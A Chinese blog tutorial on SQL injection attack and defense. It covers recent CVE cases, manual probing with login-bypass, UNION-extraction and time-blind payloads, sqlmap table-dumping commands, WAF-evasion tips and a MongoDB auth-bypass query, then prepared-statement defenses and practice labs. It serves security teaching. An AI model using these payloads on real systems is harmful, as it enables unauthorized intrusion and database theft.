mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
4061 字
11 分钟
SQL注入攻防教程:原理、检测与防御

SQL注入攻防教程:原理、检测与防御#

SQL Injection(SQLi)诞生二十多年了,但2025年它仍然高居MITRE最危险软件漏洞榜单第2位。OWASP LLM应用Top 10里排名第一的漏洞被定义为“提示注入”,思科安全团队直接说“Prompt injection is the new SQL injection”——两者本质上是同一个问题:控制指令和用户数据混在同一信道里。

所以SQL注入不是“过时的漏洞”,而是经典模式的复刻和延续。理解SQLi的原理和防御方法,不止能防SQL注入本身,还能帮你理解AI时代一大类安全问题的本质。

本文结合2025-2026年的真实CVE漏洞案例,讲清楚SQL注入是什么、怎么测、怎么防。

1. SQL注入是什么?原理其实很简单#

Web应用通常需要和数据库交互。比如登录功能,后端可能会写这样的SQL:

SELECT * FROM users WHERE username = 'johndoe' AND password = 'mypassword'

这个查询会去数据库里找用户名和密码都匹配的用户,找到了就放行。问题出在,如果应用直接把你输入的东西拼到SQL里,攻击者就可以“劫持”这条查询。

攻击者在用户名框里输入:

admin' --

SQL会变成:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'whatever'

--在SQL里是注释符号。原本的密码验证条件被整个注释掉了,攻击者不需要密码就能以admin身份登录。这条经典语句叫万能密码绕过:' OR '1'='1,因为1=1永远为真,攻击者同样能绕过验证,还能把整个用户表的数据拖出来。

如果应用直接拼接字符串生成SQL,攻击者就能通过精心构造的输入改变SQL语句的语义。这就是SQL注入的本质:代码和数据混在一起了

2. 2025-2026年SQL注入为什么还是热门?#

MITRE 2025年发布的CWE Top 25榜单里,SQL注入(CWE-89)排第二,得分28.72。XSS第一,SQL注入第二,CSRF第三——Web安全的“三巨头”依然稳坐前三。看几个2025-2026年真实曝出来的案例:

Django SQL注入(CVE-2026-1207),2026年2月公开,3月就被检测到在野利用。出问题的是Django的GeoDjango模块配合PostGIS后端时,RasterField的band索引参数处理存在缺陷。攻击者可以注入恶意SQL,绕过认证、访问用户数据、篡改数据库内容。截至2026年3月,CrowdSec检测到的攻击流量持续平稳,攻击者还在有选择地扫描使用了PostGIS的Django实例。这件事证明,即使是Django这种用了预编译语句的成熟框架,某些特定功能模块也可能出现SQL注入漏洞。

Payload CMS SQL注入(CVE-2026-34747),2026年4月公开,CVSS 8.5分(高危)。问题出在部分请求参数没有经过验证,攻击者可以在查询中注入恶意SQL代码,绕过权限控制,读取或修改数据库里的内容。修复版本3.79.1已发布。

New API SQL注入DoS(CVE-2026-25591),2026年2月公开。漏洞在/api/token/search接口,用户输入的keyword和token参数被直接拼接到SQL LIKE子句里,没有对通配符%_做转义。攻击者可以用大量通配符构造搜索模式,强制数据库执行极其耗时的模式匹配,耗尽资源导致拒绝服务。

再看几个2025年的真实事件:

Devolutions Server(CVE-2025-13757),2025年12月公开,CVSS 9.4(严重)。日志机制中DateSortField参数存在SQL注入,已认证用户可以绕过安全控制,直接查询底层数据库,窃取所有存储的密码。官方已在2025.2.21及以上版本修复。

SuiteCRM双漏洞(CVE-2025-64492、CVE-2025-64493),2025年11月公开。第一个CVSS 8.8,基于时间的盲注漏洞,已认证用户可通过测量响应延迟来枚举数据库、提取哈希密码和客户数据;第二个影响GraphQL API,CVSS 6.5,任何已登录用户都能利用。已修复于8.9.1版本。

Catwatchful监控软件,2025年7月,安全研究员发现这款商业监控软件的服务器完全没有部署安全措施,通过简单的SQL注入就能获取包含6.2万用户明文凭证的数据库,管理员账号也在其中。

CNVD 2026年第11期漏洞周报显示,单周收录的476个漏洞里,0day漏洞占了64%(303个),其中就包括“Travel management System viewpackage.php文件SQL注入漏洞”等零日攻击漏洞。接到的涉及党政机关和企事业单位的漏洞总数高达5860个。

李宁(lining.com)某分站SQL注入漏洞(T00ls-2026-00009),2026年3月被安全研究者提交。这类知名网站的分站漏洞说明SQL注入仍然广泛存在于真实生产环境中。

3. SQL注入的常见类型#

类型特点适用场景
联合查询注入(UNION)通过UNION合并额外查询页面上有数据回显
报错注入利用数据库错误信息获取数据有SQL错误回显
布尔盲注根据页面返回的True/False判断无回显但有差异
时间盲注根据响应延迟判断无任何回显差异
堆叠查询用分号分隔执行多条SQL支持多语句执行
二阶注入注入数据先存储,后续查询触发需要两步触发

入门阶段把UNION注入和报错注入练熟就够了,盲注可以用sqlmap自动完成。

4. 手动检测思路与技巧#

理解原理之后,手动测试SQL注入主要靠两件事:看服务器怎么反应 + 懂点SQL语法

4.1 最基础的试探#

先找输入点——URL参数(?id=1)、POST表单、Cookie、HTTP头都可能被应用拿去拼SQL。

最直接的试探方法:给参数加单引号。

原始URL:http://example.com/page.php?id=1
试探URL:http://example.com/page.php?id=1'
  • 返回数据库错误(You have an error in your SQL syntax)→ 基本确认存在SQL注入
  • 页面显示异常或空白 → 可能存在问题
  • 完全没变化 → 可能是数字型参数,试试加 and 1=1 / and 1=2

4.2 真/假条件判断#

http://example.com/page.php?id=1 and 1=1 → 正常
http://example.com/page.php?id=1 and 1=2 → 异常

如果两个请求返回结果不同,说明注入成功了——数据库执行了你的条件。

4.3 利用ORDER BY推断列数#

UNION查询要求前后SELECT的列数必须相等,先用ORDER BY找列数:

id=1 ORDER BY 1 -- 正常
id=1 ORDER BY 2 -- 正常
id=1 ORDER BY 3 -- 正常
id=1 ORDER BY 4 -- 报错

排到报错的那一列,列数就是前一个数字。

4.4 UNION提取数据#

找到列数后(假设3列),把原查询结果“置空”,塞入你自己的SELECT:

id=-1 UNION SELECT 1,2,3 --

页面上出现的数字,就是数据能回显的位置。然后把数字替换成你想拿的东西:

id=-1 UNION SELECT 1,database(),user() --

SQL注入测试时,--(空格后跟两个连字符)是用来注释掉SQL语句后面多余内容的,防止语法错误。

5. 自动化测试工具#

手动测一遍之后,用自动化工具做全面扫描。以下是2026年主流的几款工具:

5.1 sqlmap(最经典的自动化工具)#

# 基础检测
sqlmap -u "http://example.com/page.php?id=1"
# 获取数据库列表
sqlmap -u "http://example.com/page.php?id=1" --dbs
# 获取表名
sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
# 导出数据
sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump
# POST请求注入
sqlmap -u "http://example.com/login.php" --data="user=admin&pass=123" --level=2
# 使用cookie(需要登录的情况)
sqlmap -u "http://example.com/page.php?id=1" --cookie="PHPSESSID=xxxxx"

核心参数速查:

参数作用
-u目标URL
--dataPOST请求数据
--cookie设置Cookie
--level测试级别(1-5,越高越细致)
--risk风险级别(1-3,越高测试越多)
--dbs枚举数据库
-D指定数据库
--tables枚举表
-T指定表
--dump导出数据
--batch自动选择默认选项,不用手动确认
--threads并发线程数

5.2 Burp Suite(最专业的Web安全测试平台)#

Burp Suite Professional 2026年3月更新文档中,测试SQL注入的标准流程:

  • Burp Scanner:右键请求 → Do active scan,自动标记SQL注入点
  • Burp Intruder:把参数设成payload位置,加载SQL fuzz字典,逐个发送请求,从响应中找异常

Burp社区版免费但功能受限,Intruder的fuzzing功能可用,只是速率较慢。

5.3 OWASP ZAP(开源免费,功能强大)#

免费、开源,DAST工具里最好的选择之一。支持主动/被动扫描,自动爬取应用,检测SQL注入、XSS等漏洞。2026年DAST工具盘点中,ZAP被列为“预算友好/开源首选”。

5.4 NTO SQL Invader(2026年4月新出的免费工具)#

NT OBJECTives 2026年4月发布的免费GUI工具,不需要命令行,界面直观,可以直接验证SQL注入漏洞的可利用性,查看后端数据库记录、表结构和用户账户。对不熟悉命令行的渗透测试人员来说非常友好。

6. 防御方案#

防御SQL注入的核心原则就一条:不要把用户输入直接拼到SQL语句里

6.1 预编译语句(Prepared Statements)—— 最有效的方案#

-- 用问号占位
SELECT * FROM users WHERE username = ? AND password = ?
-- 或者用命名占位符
SELECT * FROM users WHERE email = :email

数据库先编译SQL结构,再把参数传进去。用户输入永远只会被当作“值”来处理,不可能变成代码。

各语言的实现方式:

Java (JDBC PreparedStatement)

String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

PHP (PDO)

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

Golang (database/sql)

query := "SELECT * FROM users WHERE username = ? AND password = ?"
rows, err := db.Query(query, username, password)

Python (sqlite3)

cursor.execute("SELECT * FROM users WHERE username = ?", (username,))

6.2 ORM框架(自动参数化)#

Django ORM、Hibernate、Entity Framework、GORM等ORM框架自带参数化查询机制,只要不手写原生SQL,ORM会自动处理参数绑定,基本不会出问题。

6.3 输入验证与白名单#

对用户输入做格式校验,只允许符合预期格式的数据进入SQL。

// PHP邮箱验证
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
// 正则限制用户名格式
if (!preg_match('/^[a-zA-Z0-9_]{4,20}$/', $username)) {
die('用户名格式无效');
}

黑名单过滤(转义特殊字符)是下策,永远不要完全依赖它,总有绕过方法。

6.4 最小权限原则#

给应用单独建一个数据库账户,只给必要的权限。业务只做查询,就不要给INSERT/UPDATE/DELETE权限;绝对不要用root直接连数据库。

6.5 Web应用防火墙(WAF)#

部署WAF作为前置防护层,可以拦截大部分自动化的SQL注入扫描。开源方案可以用ModSecurity,商业方案选Cloudflare WAF或AWS WAF。

7. NoSQL注入:新战场#

NoSQL数据库(MongoDB、Redis、Cassandra)不像传统SQL那样有固定的表结构,但也有自己的注入问题。

MongoDB查询用JSON格式传递。正常查询:

db.users.find({ "username": "admin", "password": "123456" })

攻击者可以构造恶意JSON:

db.users.find({ "username": { "$gt": "" }, "password": { "$regex": ".*" } })

$gt(大于空字符串)配合正则表达式.*会匹配所有用户,绕过认证。

MongoDB还有$where运算符允许执行JavaScript。攻击者可以注入恶意JS代码来窃取数据或破坏系统。

防御NoSQL注入的方法和SQL注入类似:使用参数化查询、验证用户输入、启用数据库认证机制。

8. 实战环境搭建#

想练手的话,这几个靶场最合适:

  • PortSwigger Web Security Academy:官方提供的SQL注入实验室,包含各种注入类型的场景,有免费在线环境,每个实验都有详细教程和解题提示。
  • DVWA (Damn Vulnerable Web Application):本地搭建的PHP靶场,可以自己调难度级别。
  • SQLi Labs:专为SQL注入设计的PHP靶场,覆盖了绝大多数注入类型。
  • TryHackMe / HackTheBox:有完整的渗透测试路径,从SQL注入到提权一条龙。

本地用Docker跑DVWA最简单:

docker run --rm -p 80:80 vulnerables/web-dvwa

9. 常见问题排查#

问题原因与解决办法
sqlmap检测不到注入增加--level=3 --risk=2参数;检查请求是否需要Cookie或Token
手工注入返回空白页数据库错误被全局屏蔽了。尝试时间盲注:' AND SLEEP(5)--
输入'后返回正常页面可能是数字型注入,试试id=1 AND 1=1id=1 AND 1=2对比
UNION注入不成功检查前后列数是否一致;原查询可能没返回结果,需要把原id改成不存在值
WAF拦截测试请求改用编码绕过(URL编码、双重编码);降低请求频率
登录后才能测试的页面--cookie参数带上登录后的会话ID

10. 总结#

SQL注入从2000年代初到现在,二十多年了仍然活跃。它在2025年CWE Top 25排第二,2026年仍有Django、Payload CMS等主流软件爆出新漏洞。攻击手法没有变,防御手段也没有变——预编译语句今天仍然是防SQL注入最可靠的方法。

建议的学习路径

  1. 先手动搭一个DVWA本地靶场,把SQL注入的几种类型(UNION、报错、布尔盲注、时间盲注)各手动复现一遍
  2. 再用sqlmap跑一遍,看自动化工具怎么工作
  3. 去PortSwigger实验室刷题,那里有真实场景的在线靶场
  4. 最后用Burp Suite或ZAP测一下自己写的代码,把“如何防御”落实到具体项目里

搞懂SQL注入,不仅防得住这一种漏洞,还能帮你理解AI时代的提示注入——问题的本质是一样的。这个理解,值了。


相关资源

免责声明#

本教程(包括所有文字、代码、工具示例及技术描述)仅供网络安全教育、学术研究及合法的防御测试使用。

  1. 禁止非法用途:严禁将本教程所述技术用于任何未经授权的系统入侵、数据窃取、账户爆破、服务破坏或其他违反中华人民共和国法律法规及国际公约的行为。使用者须自行确保所有操作均已获得明确授权。

  2. 使用者独立担责:您理解并同意,因使用本教程导致的任何直接或间接后果(包括但不限于数据丢失、系统损坏、法律纠纷、行政处罚等),均由您个人承担全部责任。教程发布方不承担任何形式的连带或补偿责任。

  3. 测试环境要求:所有漏洞验证、渗透模拟等操作必须在您拥有合法控制权或已获书面授权的测试环境中进行,严禁在未授权的真实生产系统、公共网络或他人设备上实施。

  4. 工具与代码风险:本教程引用的第三方工具及代码示例可能存在安全缺陷或法律风险,使用前请自行审计和评估。因使用此类工具导致的任何损失,发布方不承担责任。

  5. 信息准确性:发布方尽力保证技术描述的准确性,但鉴于网络安全技术快速演变及环境差异,不保证内容在所有场景下均正确无误、无时效滞后或完全适用。

  6. 法律责任保留:若您利用本教程从事违法活动,发布方将保留向执法机关举报及追究您法律责任的权利。

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

SQL注入攻防教程:原理、检测与防御
http://blog.mcstarland.top/posts/sql/
作者
MEMZGBL
发布于
2026-04-10
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

封面
Sample Song
Sample Artist
封面
Sample Song
Sample Artist
0:00 / 0:00